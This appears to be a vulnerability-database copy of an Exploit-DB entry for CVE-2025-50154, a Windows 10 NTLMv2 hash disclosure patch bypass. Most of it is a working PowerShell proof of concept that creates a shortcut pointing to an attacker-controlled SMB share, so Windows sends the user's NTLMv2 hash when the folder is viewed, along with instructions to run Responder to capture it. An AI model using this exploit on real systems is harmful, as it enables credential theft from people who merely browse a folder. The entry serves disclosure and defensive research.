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Microsoft Windows 10.0.19045 - NTLMv2 Hash Disclosure

🗓️ 18 Aug 2025 00:00:00Reported by Ruben EnkaouaType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 267 Views

Windows 10.0.19045 NTLMv2 hash disclosure via LNK to SMB; CVE-2025-50154 patch bypass.

Related
Code
# Exploit Title: Microsoft Windows 10.0.19045 - NTLMv2 Hash Disclosure
# Date: 13/08/2025
# Exploit Author: Ruben Enkaoua
# Author link: https://x.com/RubenLabs, https://github.com/rubenformation
# Original Blog: https://cymulate.com/blog/zero-click-one-ntlm-microsoft-security-patch-bypass-cve-2025-50154/
# Vendor Homepage: https://microsoft.com
# Software Link: https://www.microsoft.com/en-us/software-download
# Version: All versions prior to patch tuesday august 2025
# Tested on: Windows 10.0.19045
# CVE : CVE-2025-50154
# This exploit if for CVE-2025-24054 Patch Bypass


# Start a responder with:
# responder -I <interface> -v

<#
.SYNOPSIS
    Creates a malicious LNK file that triggers SMB NTLMv2-SSP hash disclosure.
    This code is for educational and research purposes only.
    The author takes no responsibility for any misuse of this code.
.DESCRIPTION
    This script generates a .LNK shortcut pointing to a remote
SMB-hosted binary file.
    The shortcut uses a default Windows icon (SHELL32.dll) but still
forces Explorer to
    fetch the PE icon from the remote binary, triggering authentication.
.PARAMETER path
    Local path where the LNK file will be saved (e.g., C:\Users\User\Desktop).
.PARAMETER ip
    IP address or hostname of the remote SMB server hosting the binary.
.PARAMETER share
    The shared folder on the SMB server where the binary is stored.
.PARAMETER file
    The name of the binary file (e.g., payload.exe).
.EXAMPLE
    .\poc.ps1 -path "C:\Temp" -ip "192.168.1.10" -share "malware"
-file "payload.exe"
#>

param(
    [Parameter(Mandatory=$true)]
    [string]$path,    # -path
    [Parameter(Mandatory=$true)]
    [string]$ip,      # -ip
    [Parameter(Mandatory=$true)]
    [string]$share,   # -share
    [Parameter(Mandatory=$true)]
    [string]$file     # -file
)

# Build file paths
$shortcutPath = Join-Path $path "poc.lnk"
$targetPath = "\\$ip\$share\$file"
$iconLocation = "C:\Windows\System32\SHELL32.dll"

# Create LNK file
$wShell = New-Object -ComObject WScript.Shell
$shortcut = $wShell.CreateShortcut($shortcutPath)
$shortcut.TargetPath = $targetPath
$shortcut.IconLocation = $iconLocation
$shortcut.Save()

Write-Output "Shortcut created at: $shortcutPath"
Write-Output "Target path: $targetPath"

Data

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18 Aug 2025 00:00Current
7.4High risk
Vulners AI Score7.4
CVSS 3.15.4 - 6.5
EPSS0.24268
SSVC
267